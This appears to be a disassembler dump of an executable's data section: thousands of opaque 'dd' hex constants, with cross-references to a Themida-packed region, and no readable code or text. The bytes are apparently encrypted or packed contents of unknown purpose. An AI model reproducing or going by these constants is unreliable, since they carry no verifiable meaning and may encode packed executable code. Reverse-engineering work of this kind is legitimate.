		dd 67EC492Fh, 0EE58CB11h, 0EA484C28h, 68CD8367h, 0BDB198E3h
		dd 0BC0A835Bh, 6FE67478h, 3886392h, 8B78E1A7h, 0C85EC23Fh
		dd 0DA4CEA72h, 56840DE9h, 0ED5DD4B0h, 6DDD2E2Bh, 0CDF62830h
		dd 18D6C569h, 0DC426651h, 6EC8A8F5h, 0B75195E3h, 2C755ED7h
		dd 0A76E70FCh, 0A5D5324Dh, 9AF0DC52h, 0DBE94A48h, 4FD09AF0h
		dd 0C6AA8E91h, 0FF70A68Fh, 0EA9AF0DBh, 0A0C53B9h, 0E5000000h
		dd 860BED4Bh, 0CC95E320h, 0EC1FC4B9h, 69E0441Ah, 0D75C3F91h
		dd 56DBBD13h, 0D5583E90h, 50DDB315h, 0DA293096h, 58D3AA6Ch
		dd 0C13028EEh, 7F683A79h, 8900002Dh, 0C168242Ch, 8900006Ah
		dd 8957241Ch, 4C781E7h,	83000000h, 3C8704EFh, 2C895C24h
		dd 2CBD5524h, 680D763Bh, 0B465C01h, 5DEB315Bh, 65A768h
		dd 24248900h, 4240481h,	5D000000h, 53D98951h, 8BBh, 89EB0100h
		dd 8B595B0Bh, 8950242Ch, 405E0h, 4050000h, 87000000h, 0FF5C2404h
		dd 835B2434h, 0E1E904C4h, 6BFFF908h, 27C437CFh,	7780D209h
		dd 0F2F34674h, 744AB846h, 0C5030630h, 7260E0FFh, 0ABF20EB3h
		dd 6AA5327Eh, 0B4BC0E8Ch, 5CB14969h, 0F65A1E5Ah, 0E1E66715h
		dd 0A08B7229h, 9F6506EAh, 9AD22028h, 0B643D64h,	0FEA7580h
		dd 0A3142755h, 58AD59BAh, 31114655h, 579B36D4h,	4B611F28h
		dd 0E458742Dh, 4E0F2881h, 0F2F431DEh, 7CE9335Ah, 7C286EEAh
		dd 63D21BF3h, 0C6A92DEDh, 81151DA3h, 81D96C93h,	85A1199Dh
		dd 0EB976C4Fh, 5E858FDh, 6000000h, 65021598h, 8E9h, 19419600h
		dd 0CAAA1B62h, 0BF6659F6h, 0C181F975h, 0EA81h, 85B8ECBBh
		dd 66C03312h, 28CECF81h, 8101148Bh, 0F39B8CC2h,	0A2C2816Bh
		dd 8152E1FFh, 9567B8F2h, 52DC8A42h, 4830Fh, 0BF660000h
		dd 48F8840h, 0D6816601h, 7E96A85h, 3D000000h, 94EE0E93h
		dd 0E8812FD3h, 5D601C64h, 568AE781h, 0C08117EAh, 5D601C60h
		dd 9E8h, 57BE3E00h, 0B9631B21h,	815B7B62h, 0FF160CF8h
		dd 9D850FFFh, 0BEFFFFFFh, 3B95E8B7h, 766C8D8Dh,	0B70F0630h
		dd 6D8D89D1h, 8906291Eh, 292B299Dh, 8185C706h, 0A406292Dh
		dd 0E900006Ah, 0Bh, 9A3647D7h, 0D10306FDh, 0C706E364h
		dd 29200585h, 6, 5800F00h, 66000000h, 5E4DD381h, 0BE9h
		dd 3B10F900h, 0B8943DFDh, 432489AFh, 1A91B5FFh,	6A0629h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0FFEECEC3h, 2931E995h, 0A8F0F06h, 0E9000000h, 5, 0DFDE857Bh
		dd 0FF006A2Ah, 29059195h, 0EBC08B06h, 91E1101Fh, 5B5AA431h
		dd 0DEC721CBh, 300B62E9h, 2F517E49h, 0A60B88FBh, 0E001C73h
		dd 1786FB1Dh, 12E8h, 48AA6100h,	0DBEE1F08h, 39D7B8ECh
		dd 7147783Dh, 89E19FEAh, 292A5DBDh, 0D6815A06h,	25F664D8h
		dd 5D45C281h, 0B70F0000h, 1727B8F1h, 9D8B0000h,	62906E1h
		dd 880F32FFh, 6, 0D4DBD01h, 8B590629h, 291E19BDh, 0DFF18106h
		dd 8B531EE2h, 291AB9BDh, 0A8E98106h, 8B258BDEh,	4AE981FAh
		dd 900DE7Bh, 291825B5h,	0BB0A8906h, 1B2DA6C0h, 6604EA83h
		dd 0B9FAF681h, 1E881h, 850F0000h, 1Bh, 4687BE66h, 21E9h
		dd 7FE8B200h, 2A939ABh,	0B83CF731h, 7CEF1687h, 0BF47C55Bh
		dd 383D9CC8h, 0FFFF8BE9h, 312979FFh, 0ECE9E7ACh, 0
		dd 37000000h, 0EB77E7ACh, 4977E75Ch, 1F77E73Ch,	77F7E2h
		dd 77F7E3h, 277E600h, 5	dup(0)
		dd 0FD000000h, 77E7A5h,	2Bh dup(0)
		dd 6000000h, 0C7000000h, 16BB118Ah, 98F49C42h, 0A3D4B96h
		dd 44321574h, 2232188Fh, 819FB866h, 0DEB6A4D8h,	75588DC3h
		dd 9FB19DC9h, 171B25FBh, 0B3B6066h, 6D3260DBh, 3B461560h
		dd 0D1B94636h, 883604DEh, 41B79C66h, 0AF343C57h, 3A98B7FBh
		dd 0D3E1EA60h, 318F963Eh, 22343C66h, 42620212h,	883604DEh
		dd 41B79C66h, 0AF343C57h, 3A9584FBh, 0D3E1EA60h, 4438FC3Eh
		dd 0C58D1566h, 0ACC51DF6h, 6EB6D40Eh, 251DA706h, 6369E36h
		dd 7136D1E5h, 0CF31FAD9h, 4421FC3Ah, 42C81566h,	0A01756F5h
		dd 0EACA6A7h, 8E82C1FAh, 86994982h, 0ACB17462h,	8E026205h
		dd 25B61A66h, 42321566h, 0EA73FEE7h, 3F3D6F84h,	0C1BF74A6h
		dd 240256E9h, 71E2EA9Ah, 88321C8Fh, 790CB066h, 91726AF1h
		dd 9054A689h, 0E991B2A0h, 78D90EBh, 0A03D1356h,	1132156Ah
		dd 0DDE6AC06h, 2588583Fh, 434FF8A3h, 1132078Fh,	296C3866h
		dd 0EA1C3BC8h, 69F290BBh, 3CA7FF21h, 7794E070h,	45B31AB6h
		dd 0DE321566h, 0A6B90A0h, 0E864134Fh, 224ACBE6h, 43BCACD8h
		dd 11321A8Fh, 926D7966h, 35DC404Bh, 190DB295h, 45F45B44h
		dd 208A470Eh, 0C23DECFAh, 22321561h, 11339B69h,	77C71566h
		dd 6D288CD3h, 2CDB7560h, 0E8321566h, 0A6C0957h,	6D757588h
		dd 79D47F81h, 7F39451h,	0E95FD2E8h, 3FE090EBh, 0DB52134Ah
		dd 70E19E00h, 88321A8Fh, 0F4764166h, 1F9C5BBCh,	0FF2B50E1h
		dd 641A06CBh, 0C63DC599h, 22321567h, 0F4B79C9Eh, 87343C4Dh
		dd 443219EDh, 24BB1A66h, 1E321566h, 883215E9h, 0BDB7D266h
		dd 22343C66h, 1E321566h, 883205EDh, 4439FC66h, 1C231566h
		dd 2FA17897h, 0BA1ADC65h, 1DB7D3C1h, 67343C7Dh,	0C88B7306h
		dd 8BBA1AB8h, 4B321566h, 4A53DDD9h, 9F407C0Fh, 88321E8Fh
		dd 0C0E05066h, 0CB2AC95Fh, 0CD17A1F2h, 0AE0BA099h, 50DB134Fh
		dd 0C0321566h, 0ADE18696h, 0C8FD2BC1h, 0EBDAD785h, 722BFA9Fh
		dd 9C6D3904h, 0A10967E3h, 443BFC60h, 0A9001566h, 12AFDAD7h
		dd 7774C310h, 443FFCB6h, 3DEA1566h, 0B12753D8h,	0AFBC5969h
		dd 0CDC98E85h, 0B2958E3h, 94F4E060h, 8E1B0E3Fh,	0C13D7525h
		dd 22321565h, 1E7EDAE6h, 883213E7h, 44BA1A66h, 43321566h
		dd 76594B0Eh, 84B61AFAh, 0AD321566h, 22321561h,	957C4553h
		dd 772B41D3h, 6D142CD3h, 0A7BFE960h, 171B2E14h,	4AB37306h
		dd 0CF544697h, 0F2CD74ADh, 11389869h, 3E521566h, 44B11A38h
		dd 43321566h, 667990EFh, 8FDB1356h, 0D8321566h,	20D62556h
		dd 94F4BD38h, 8E1B0E3Fh, 4CB91A32h, 2D321566h, 113217E4h
		dd 87537566h, 443214E4h, 0B5AED66h, 71DC770Eh, 8832188Fh
		dd 674BBF66h, 69338658h, 142C7B10h, 0DB8C8334h,	2552CB56h
		dd 40BA099h, 1E52134Fh,	883217EDh, 0CF684266h, 0A7BF74A7h
		dd 171B2E14h, 88321D8Fh, 5A7E6A66h, 0A0DDA9BDh,	0EDE2EAF3h
		dd 0FF7D90EFh, 0CA3D1356h, 2232156Ah, 11349C69h, 0A3D1566h
		dd 44321566h, 396B90A0h, 1E77134Fh, 883214EBh, 865AED66h
		dd 2DE8755Eh, 11321DE9h, 8ABA1A66h, 24321566h, 1B87EA07h
		dd 71343C40h, 8832058Fh, 0D0B66A66h, 13112F47h,	85AADA60h
		dd 0E4EA9A33h, 82B373B3h, 0AF53A8B8h, 380967E3h, 58CDED60h
		dd 72EDAC06h, 24DA1B34h, 34321566h, 0D775B371h,	0CF53AFE9h
		dd 43680D15h, 666190EFh, 0BCE1356h, 6D283CDBh, 0A73D1560h
		dd 11321463h, 0D1B7D39Ah, 1343C7Dh, 223D9869h, 1BDB1566h
		dd 45321566h, 180B1112h, 999C3108h, 6FB47DF6h, 83DBEF46h
		dd 48321566h, 6BF332AAh, 0ED01A03Bh, 3DCD9108h,	421B335Fh
		dd 50B79893h, 0E9343C5Dh, 9ADBC599h, 18321566h,	1C6E7C94h
		dd 0FEB99570h, 3BD66ABDh, 441DC5D5h, 75B79CFDh,	1E342511h
		dd 883219E0h, 42BC1A66h, 2D321566h, 113215ECh, 0DF4E066h
		dd 421B0E3Fh, 223BFC2Ah, 0D8CE1566h, 0BB4B0FF5h, 24AB7086h
		dd 22349169h, 933D1566h, 88321566h, 25F3A269h, 4E2D60Eh
		dd 0A4CDEC86h, 8E1B335Fh, 44BB1A06h, 43321566h,	2A4090EBh
		dd 77CA134Fh, 48B71AB6h, 0CB321566h, 11321561h,	4D8EAC13h
		dd 0CDB128F4h, 12454EE3h, 8BA1A60h, 87321566h, 443206E4h
		dd 223CFC66h, 0B5151566h, 8DADBB26h, 0D804E4BFh, 3CDF2C2h
		dd 1133118Fh, 883DFC66h, 0AC6F1566h, 4F4B5956h,	0F35CE72Dh
		dd 41F956DFh, 1DB7D3A6h, 70343C7Dh, 0F53F7D9Ah,	7052A92Ch
		dd 8987EA07h, 42343C6Ch, 11349169h, 93D1566h, 44321566h
		dd 0A7BF749Ah, 171B2E14h, 0E4DC9506h, 0F673AC00h, 2DE2EA07h
		dd 113206E3h, 883CFC66h, 11781566h, 0CE342903h,	2597EF53h
		dd 60D29563h, 336590EFh, 0E4C71356h, 38294CE3h,	87524760h
		dd 4CDBD5D1h, 0B6321566h, 0FC53E3C0h, 0E9E12292h, 8785D0Eh
		dd 3ABC1AC0h, 1E321566h, 883207ECh, 443FFC66h, 7A231566h
		dd 0C3452B79h, 71418CC8h, 0ADFA1D8Dh, 2232156Ch, 99A33371h
		dd 7F715017h, 0F1CD0DE8h, 241B1FABh, 0CEB97306h, 0E9F2AA69h
		dd 7F4090EBh, 32DB134Fh, 76321566h, 7959FBC9h, 496AAA56h
		dd 0D6108CA9h, 0EECD23F4h, 0C68875B6h, 126DE2E6h, 436B4A35h
		dd 666990EFh, 86DB1356h, 48321566h, 0A9B6815Fh,	0A648C9F5h
		dd 0DEE41330h, 1DB7D371h, 70343C7Dh, 11321D8Fh,	75229E66h
		dd 0CC209292h, 96D87DDEh, 923DE824h, 8832156Ah,	44349869h
		dd 0A33D1566h, 11321566h, 0AE0BA099h, 24C7134Fh, 22319269h
		dd 0AE3D1566h, 7F8D1A91h, 36B79807h, 2D343C5Dh,	11321BE1h
		dd 883BFC66h, 0B73F1566h, 6DA99285h, 0EE735DCFh, 365475B6h
		dd 0B7B245A5h, 0A7BB746Fh, 171B314Bh, 883E9E69h, 0C33D1566h
		dd 22321560h, 11329569h, 8DDB1566h, 5321566h, 98436295h
dword_5BF828	dd 0A6B90A0h, 8745134Fh, 443200EDh, 2222FC66h, 0D9EA1566h
					; DATA XREF: Themida_:0056FEDCo
		dd 0D7E4E41Fh, 99304822h, 0C2637CD7h, 0B25ABF35h, 61C182CEh
		dd 44321577h, 0C8921F2Ch, 3AE54F1Eh, 0B3C7E825h, 34B2E0C6h
		dd 5787EAD9h, 0F8343C7Eh, 88321569h, 3082ABE7h,	0AACC653Fh
		dd 4756EB52h, 5B281A3h,	6D0967E3h, 0DDCBE960h, 94BBE0B6h
		dd 8E1B3EDBh, 442A9F69h, 31DB1566h, 0A3321566h,	0F5766A1Dh
		dd 0F0BA6BA8h, 3BC196EFh, 0ACFDC4FAh, 0DF44716h, 421B0E3Fh
		dd 2DBD1A34h, 0F8321566h, 8832156Ch, 6C80B8E1h,	3C34DB53h
		dd 65A844Bh, 0E8B8C857h, 7CDF04DDh, 2BDA756Dh, 3A321566h
		dd 2E8911E8h, 299B0F05h, 0E3B97338h, 0A4CD7407h, 8E1B335Fh
		dd 45BD1A9Ah, 0DB321566h, 2A4090EBh, 77C7134Fh,	4423FCB6h
		dd 81471566h, 48D36EEh,	5F0377F9h, 9FEBBA2Eh, 0DE78DB57h
		dd 38EB90EFh, 7DC7134Fh, 5F6B90A0h, 0CB64134Fh,	11321568h
		dd 0A6A2E832h, 85CDD25Eh, 99CE1B97h, 285AC618h,	87E60A0Bh
		dd 443214E8h, 0CA52EC66h, 11321568h, 0F822FD5Bh, 0ECE584C9h
		dd 9EEE6894h, 4FCA9E78h, 7753C9D6h, 6D288CD3h, 2FDBEC60h
		dd 28321566h, 1896A23Eh, 0DCB15549h, 0CD08B08Eh, 6AE090EBh
		dd 352134Ah, 0AD8B73A5h, 24DB740Eh, 38321566h, 2B316DDFh
		dd 0ADE2EA98h, 22321561h, 0A318B52Ch, 12F4D89h,	6D3AECE3h
		dd 0A7F4EC60h, 171B0E3Fh, 0F25AEC21h, 24B3C976h, 22321B8Fh
		dd 0B9235D66h, 4F09D71Ah, 75D2AA2Eh, 2D21E0A3h,	113210E9h
		dd 7BB37366h, 0BB53BF7Fh, 0B142CD3h, 10B31A60h,	71321566h
		dd 7F4090EBh, 25DB134Fh, 0F2321566h, 11998A32h,	94CDAC70h
		dd 2232018Fh, 0CFA73066h, 5FCB1209h, 7948E26h, 4AA0CB68h
		dd 0D45ADEAh, 0E1B79C82h, 4B343C45h, 223214E0h,	94F4ED66h
		dd 8E1B0E3Fh, 0C03DEC21h, 22321567h, 0A4D07D9Ah, 0E8CA9F69h
		dd 86B97331h, 223BFC3Eh, 69501566h, 0A3FB9104h,	25BF3C2Bh
		dd 40BA099h, 933D134Fh,	88321567h, 36B7989Ah, 42343C5Dh
		dd 11309969h, 50B91566h, 24E2EA07h, 0E7C09400h,	3E68ADC0h
		dd 1536DB5h, 74456EE3h,	28B91A60h, 0F8321566h, 88321563h
		dd 7353751Eh, 93B7D2D0h, 69343C78h, 71321566h, 4432078Fh
		dd 99941666h, 933C0A0Eh, 0B1BFA6D8h, 0D114B6CDh, 0A1BA6137h
		dd 3837B8DBh, 0C3D1560h, 44320C6Ch, 0AEDB9406h,	4746434Dh
		dd 0B7BFCCD9h, 82534F1Fh, 0B294CE3h, 79CA5960h,	51E8098Fh
		dd 4439FC06h, 67DE1566h, 770A8276h, 211E016Dh, 0C83D42D9h
		dd 22321566h, 0A4CD743Dh, 8E1B335Fh, 44279669h,	32DB1566h
		dd 77321566h, 0CC4698E2h, 0D84003B6h, 9A619B66h, 9C4A4D02h
		dd 0A10967E3h, 40BA1A60h, 42321566h, 7153DAEDh,	88319F69h
		dd 0CF541566h, 78DA95B0h, 0F8E2EA07h, 8832156Ch, 7E699ECAh
		dd 5FFB4B23h, 9E3DE187h, 88321572h, 443C9B69h, 2BDB1566h
		dd 0F3321566h, 0C71396B1h, 44659239h, 555590EFh, 973D1356h
		dd 88321567h, 1DB7D39Eh, 6E343C7Dh, 88B5AE06h, 95420AEh
		dd 252E2480h, 22359769h, 933D1566h, 88321567h, 9AFC7D93h
		dd 2EDBC812h, 5B321566h, 0ECBFE135h, 6E285B9h, 0DD1E119Fh
		dd 38142CD3h, 90B81A60h, 4B321566h, 223207E4h, 113FFC66h
		dd 0F1D41566h, 0E6F46191h, 0F2CF01DCh, 9C2DA2EFh, 0A10967E3h
		dd 94CDE960h, 0DBB97306h, 0C4C2F4E7h, 615300D0h, 4432156Ah
		dd 0FFDE7BD2h, 5FC9B06Dh, 0E9DEC79Bh, 335990EFh, 0A93D1356h
		dd 11321576h, 88321E8Fh, 72D07866h, 0BB479769h,	0ACDDC80Eh
		dd 0D1B7D39Ah, 8343C7Dh, 0A00D7D9Ah, 0EEC7A2E7h, 0A1142CD3h
		dd 85B37560h, 320FF00h,	9C53D2EDh, 0A10967E3h, 89B27560h
		dd 0F2CD7480h, 19BC1A9Eh, 0E8321566h, 0FB54DFEDh, 0AB532BBCh
		dd 21457AE3h, 8826FC60h, 0E83A1566h, 0ECEC876Ah, 0C3EF3Fh
		dd 11B1DA11h, 3151E298h, 0A7F45996h, 171B0E3Fh,	98DB752Ah
		dd 321566h, 0D6C2D8DFh,	0E295224Eh, 7F5D5B7Bh, 1374C07Ch
		dd 2232018Fh, 0DC864966h, 0C4DCE3DBh, 0D0ED9DB9h, 832083F4h
		dd 7304CA7Ch, 61534C84h, 44321575h, 0B5E063F1h,	0DF3FC4ACh
		dd 820E5CA8h, 3EF70164h, 4A64BE80h, 0A21D557Eh,	11F09506h
		dd 7D87EA07h, 0CB343C40h, 11321575h, 218F2B43h,	636373C8h
		dd 76B6AA6Ah, 1E4F22A8h, 50E5425h, 6D0967E3h, 2222FC60h
		dd 592C1566h, 0ACD08E5Ah, 263235C4h, 0CFF1491Ah, 0C1CD37C8h
		dd 88339469h, 0CDCB1566h, 12457AE3h, 16B51A60h,	87321566h
		dd 443214E8h, 0A7F4EC66h, 171B0E3Fh, 89BC1A20h,	0B1321566h
		dd 22339469h, 79CB1566h, 32EC1372h, 7D87EA9Ah, 0CB343C40h
		dd 11321568h, 0D25B8D0Ch, 378D44C8h, 556E65A1h,	9E3DA2D6h
		dd 8832157Eh, 443EFC06h, 0DE741566h, 0E78FED5h,	5BE6E856h
		dd 0C5547709h, 435ED291h, 2A4090EBh, 0C3D134Fh,	44321567h
		dd 0DAE2EA9Eh, 664590EFh, 4ECB1356h, 6D294CE3h,	0AE3D5260h
		dd 11321573h, 8832058Fh, 898B5166h, 151AE196h, 5F2FE6C1h
		dd 5D28E209h, 54487D20h, 725294BAh, 24ACAD00h, 0C6FB953Ch
		dd 7D87EA07h, 2D343C40h, 11320DEBh, 9AB71A66h, 0AD321566h
		dd 2232156Bh, 0A794C15Ch, 0BD43CD9Ch, 3D63558Bh, 50B7989Eh
		dd 71343C5Dh, 8832018Fh, 0BAF66566h, 0C756A12h,	2FB69A3h
		dd 938866A2h, 0F1352E64h, 8B8A7393h, 0C1CD7490h, 883E9E69h
		dd 43DB1566h, 39321566h, 68C29D3Ch, 0DBB8BEFh, 42026219h
		dd 0D322AC06h, 1CDB6EE3h, 9B321566h, 57909CD3h,	0AF6F0411h
		dd 0A38D1FD5h, 0D1B7D307h, 3343C7Dh, 9D3DE006h,	0BD5A74B0h
		dd 61DD92E8h, 44321561h, 211D3CF9h, 0EE897E2Eh,	0A1142CD3h
		dd 0C1BFED60h, 241B2E14h, 0D1D39406h, 0E97AA87Fh, 9E851A06h
		dd 43C99E00h, 9B3DC599h, 88321569h, 0B6B97306h,	2232108Fh
		dd 0C5E17E66h, 153853Fh, 744596E3h, 0A7F4E060h,	171B0E3Fh
		dd 90BC1A21h, 4B321566h, 223207E9h, 113FFC66h, 1DA61566h
		dd 0B55CED1h, 8D510423h, 794C4CACh, 5CA8B2B4h, 0B855AC06h
		dd 2FDA4819h, 0A8321566h, 7906644Fh, 0D5F60C6Dh, 0FD3181F8h
		dd 70697406h, 0AE0BA099h, 0CD3D134Fh, 22321560h, 0D98A7306h
		dd 0DBF74A9h, 421B2E14h, 42E2EA9Ah, 11309169h, 5FB81566h
		dd 0C1BB749Ah, 240262E1h, 0E6B97306h, 0C68B7306h, 4437FD3Fh
		dd 4CF71566h, 49EB0F95h, 4ECB7407h, 6D294CE3h, 0A73D5260h
		dd 11321565h, 0E053ED06h, 0FEF32C62h, 0A30DA606h, 0EF8F86B0h
		dd 3DCD745Bh, 421B335Fh, 21B81A06h, 1E321566h, 0EE52EFD9h
		dd 0BDB735DEh, 0A7BF7407h, 171B2E14h, 83D7506h,	44321566h
		dd 2D53E2EDh, 113216EEh, 0DEE69566h, 0B8E2EA07h, 55B990EFh
		dd 92CB1356h, 0A13318DBh, 0C13D1560h, 2232153Ch, 11339569h
		dd 4ECE1566h, 6D294CE3h, 2D525260h, 113217E3h, 70C29E66h
		dd 235AE907h, 0D7D2674Bh, 370BA099h, 8DDB134Fh,	27321566h
		dd 0F957BFBAh, 2A4090EBh, 43D134Fh, 44321568h, 22321C8Fh
		dd 4EA43C66h, 851A2F62h, 94CDBFF9h, 0ADB79C93h,	1E342511h
		dd 883214EAh, 0C1F4E066h, 241B0E3Fh, 1EB61A21h,	61321566h
		dd 4432156Ch, 27EA7B4Eh, 0A5A74ECAh, 395AD7A2h,	0B1BC3CD5h
		dd 40BA099h, 9A3D134Fh,	8832156Bh, 4437FD06h, 0CE5F1566h
		dd 4AB0998Ch, 883AFC07h, 0C7E91566h, 9C313063h,	94BF60A4h
		dd 8E1B2E14h, 0B6B37306h, 0DBB91985h, 1EE2EA07h, 883219E4h
		dd 42B71A66h
dword_5C0024	dd 2D321566h, 113215E6h, 1BB79C66h, 0BC342511h,	396B90A0h
					; DATA XREF: ___:00432804o
		dd 1E71134Fh, 88321DE7h, 46B61A66h, 42321566h, 5B957D07h
		dd 6152D510h, 44321569h, 0A0E4BF49h, 0FEFA2BD0h
dword_5C005C	dd 303203D8h, 0ADCEE36Dh, 22321574h, 5D2809ABh,	1786734Dh
					; DATA XREF: ___:off_432958o
		dd 0D42100ADh, 76CA7782h, 0EE5343F4h, 0A1142CD3h, 4422FC60h
		dd 5AEA1566h, 3056CABEh, 9DF2FA8Ch, 22FF6A5Ch, 0A7BF3490h
		dd 171B2E14h, 8832068Fh, 39D16466h, 3B738365h, 0DB980E04h
		dd 9F168890h, 26B09FE9h, 0AB3DC599h, 11321567h,	1FB79C9Fh
		dd 0B8342511h, 7BB7D393h, 5D343C7Dh, 8ABB1A06h,	24321566h
		dd 43C09E07h, 775EFE0Eh, 883BFC9Dh, 46831566h, 0D8774B8Fh
		dd 0EECF0033h, 0A12A60D3h, 48BB1A60h, 42321566h, 4130AE00h
		dd 0E900D4E7h, 0C95321B2h, 0B0967E3h, 113AFC60h, 3D371566h
		dd 0B4CB830Dh, 0F2CDF0E6h, 0F2B37306h, 59B38400h, 60646E5h
		dd 9B79C07h, 7134251Eh,	8F4DCADDh, 0CE8B737Bh, 0A7F4746Bh
		dd 171B0E3Fh, 0DD5AE022h, 4B8966E8h, 223218E8h,	0CAB37566h
		dd 0E025E323h, 0FD29400h, 97CD7464h, 171B335Fh,	88249969h
		dd 55DB1566h, 0BA321566h, 5628AC8Dh, 90586C25h,	0FAFA0251h
		dd 741C535Fh, 2A4090EBh, 3752134Fh, 34EC103Dh, 22309469h
		dd 0DBB91566h, 883FFC07h, 99CE1566h, 665778FDh,	4531CE45h
		dd 77917219h, 0C1BBE9B6h, 240262FDh, 17B01A06h,	9321566h
		dd 0B555F4B0h, 27BC1A1Bh, 0AE321566h, 0A6827F6Ah, 1DB7D307h
		dd 61343C7Dh, 113E9069h, 83D1566h, 44321560h, 22329E69h
		dd 0ED5A1566h, 878E9B08h, 443200E7h, 2DB11A66h,	0F8321566h
		dd 8832156Ch, 2EE02E69h, 903602C5h, 0A4CDE6DFh,	8E1B335Fh
		dd 36B7989Eh, 42343C5Dh, 1132058Eh, 71DCB866h, 0E5FE33BEh
		dd 32998D2Ah, 2A38D2BBh, 41851A29h, 94CD7439h, 2232188Fh
		dd 1E681566h, 970A0380h, 0AA3FE4B8h, 0A7BB547Fh, 170262F9h
		dd 0E853E906h, 4432188Fh, 5498DA66h, 9EC4C989h,	0D5178215h
		dd 25CE4E5Fh, 396B90A0h, 1E61134Fh, 883214EBh, 0EE5AED66h
		dd 42F40558h, 11321F8Fh, 0CA673C66h, 9DB98FEAh,	2DDC7A69h
		dd 113216EBh, 598D1A66h, 7D87EA07h, 0CB343C40h,	1132156Eh
		dd 0B997ACCAh, 0B6753676h, 194090EBh, 0A452134Fh, 50B97335h
		dd 4BE2EA07h, 22321CE5h, 1ECA7566h, 883215E8h, 0C1BB7466h
		dd 240262C5h, 113E9669h, 73D1566h, 44321560h, 22329169h
		dd 0ACB11566h, 8E1B1B63h, 0D9B61A66h, 42321565h, 0FC24D2E7h
		dd 0E3D09B9h, 44321565h, 43EA9E00h, 0A6B90A0h, 7D74134Fh
		dd 0D2FC240Eh, 2234FC9Ch, 0BBE11566h, 588E034h,	620BA099h
		dd 27DB134Fh, 0A7321566h, 3D8631FAh, 7F4090EBh,	0CB52134Fh
		dd 11321576h, 0C6B826FDh, 0C7412EF8h, 1F9F9DBBh, 59CEE0A2h
		dd 0E8E2EA07h, 0BBB79C07h, 42342511h, 1132138Fh, 872AC766h
		dd 2565E3D2h, 396B90A0h, 1E74134Fh, 88321DEFh, 0CF547566h
		dd 0F98D1AB5h, 2BE47D07h, 61CEE9C1h, 4432156Dh,	7C395501h
		dd 44D0E711h, 7752B62Bh, 6D142CD3h, 3AB81A60h, 0F8321566h
		dd 88321575h, 3EFB4020h, 5F3C874h, 1834461Ah, 11F966E5h
		dd 0C9F8B790h, 0B0967E3h, 0C1CDE960h, 87B79C9Fh, 2434251Eh
		dd 0CB52D3EDh, 1132156Ah, 530F0FE9h, 760721F3h,	936F3834h
		dd 7053C9ECh, 88321E8Fh, 0F3F79E66h, 0FD5411EDh, 9125F44h
		dd 936B90A0h, 0AD74134Fh, 22321574h, 48B5541Ah,	0DADABA77h
		dd 0F10F71DDh, 2B6253F5h, 115A7C83h, 0E8A0E9C2h, 44389069h
		dd 27DB1566h, 6321566h,	4D56164Dh, 25F9AA69h, 40BA099h
		dd 0F952134Fh, 8832156Fh, 76891569h, 0C522A04Eh, 496D463Dh
		dd 0E9E19E00h, 36B7989Ah, 2D343C5Dh, 113214E2h,	8DDBEC66h
		dd 65321566h, 8B785088h, 1EDBC599h, 0CC321566h,	0D0218C68h
		dd 0CF53E3C0h, 71E12292h, 13D7A54h, 4432156Ah, 22349069h
		dd 963D1566h, 88321566h, 3C2190EFh, 0AF3D1356h,	11321567h
		dd 0DF4EC9Eh, 421B0E3Fh, 4A537520h, 0E7E65A0Ch,	88339969h
		dd 0BBCB1566h, 0B142CD3h, 94BFE060h, 8E1B2E14h,	4432068Fh
		dd 8F01066h, 0D7BB243Ah, 0DDBAECBh, 0AFC5E372h,	9BE52D78h
		dd 0A552C599h, 8EB91A89h, 4B321566h, 223215EEh,	94BB7466h
		dd 8E026D71h, 4432018Fh, 7D153F66h, 0A220C49h, 0D923D646h
		dd 0EA12055Eh, 0DE02AD59h, 0AE547513h, 352DF20h, 825374B9h
		dd 0B294CE3h, 0F8525360h, 8832156Ah, 0D474C63Bh, 584E9577h
		dd 0EB3AA831h, 88379669h, 0C5541566h, 4382E490h, 0DC62F20Eh
		dd 8820FCF2h, 408B1566h, 0DCB9740Ah, 4883897h, 0B2699ECAh
		dd 39FB4B23h, 40BA099h,	0F852134Fh, 88321574h, 0F484B9CCh
		dd 4FF6E09Ah, 0E31BDDCEh, 0CC333792h, 0C9533569h, 0B0967E3h
		dd 113EFC60h, 2B4E1566h, 33BC0927h, 0C61B2744h,	0C1CD21D3h
		dd 88321B8Fh, 45CEE966h, 5AF911F8h, 0F4509E33h,	168D052h
		dd 744A16E3h, 2220FC60h, 36841566h, 0B7D73AFDh,	766320Fh
		dd 1D372892h, 371999AFh, 936B90A0h, 0AD74134Fh,	2232156Eh
		dd 436A7BCEh, 0F66EBC2Dh, 66462E0Eh, 23BA1AD7h,	0ED321566h
		dd 0AE0BA099h, 0C9C7134Fh, 0B0967E3h, 1134FC60h, 1FA41566h
		dd 11887808h, 22321F8Fh, 7407EC66h, 592191BAh, 0BBBA7772h
		dd 0DE5275B6h, 41C59400h, 7580745Ch, 43B79C07h,	2D34251Eh
		dd 113219ECh, 8EBC1A66h, 4B321566h, 223215EBh, 48B7D366h
		dd 0CE343C7Dh, 0F5D59406h, 0A322471Ch, 0BE2F97ACh, 655A742Eh
		dd 0BDED6C8Ch, 40BA099h, 0F852134Fh, 88321577h,	0DB874462h
		dd 0E04159A4h, 57A87CBEh, 3C5DE0AFh, 2526A570h,	194090EBh
		dd 0EECE134Fh, 9CBF1AB6h, 0AD321566h, 22321569h, 4D74928Eh
		dd 991EC9EBh, 8FFA2FC2h, 42643EFAh, 97DCAA9Ah, 1537331h
		dd 744A1EE3h, 223BFC60h, 0DF5B1566h, 72521ED4h,	0BC688244h
		dd 233FA8E5h, 1E32134Fh, 88324FE3h, 0C1F4EC66h,	241B0E3Fh
		dd 77647535h, 0E96BCCEDh, 0FAD24B0Eh, 29DBEDA8h, 0BF321566h
		dd 0B0831F23h, 37E21216h, 97CD3C60h, 171B335Fh,	0FAB79893h
		dd 0AD343C5Dh, 2232156Eh, 6E8DF85Ch, 432D5E9Eh,	48DBC599h
		dd 17321566h, 0C1A64015h, 0B95D2D60h, 0CD47C65Ch, 1245B2E3h
		dd 0D7CBE960h, 0A1294CE3h, 4BC75260h, 223214E5h, 965AE066h
		dd 70F5A438h, 620BA099h, 0A63D134Fh, 1132156Dh,	0F8887306h
		dd 0CE77AB38h, 0CB535EACh, 11321560h, 63D907F6h, 0C1BFC724h
		dd 241B2E14h, 11339069h, 77CA1566h, 4439FCB6h, 5FBB1566h
		dd 0BC405447h, 627BE1C9h, 0EFB79C21h, 0CB342511h, 11321576h
		dd 9AEDC317h, 0CD94A416h, 0EBA84FDBh, 99AF67B7h, 893FA8E5h
		dd 4B32134Fh, 2232D2E3h, 31BE1A66h, 0E8321566h,	0A44646DFh
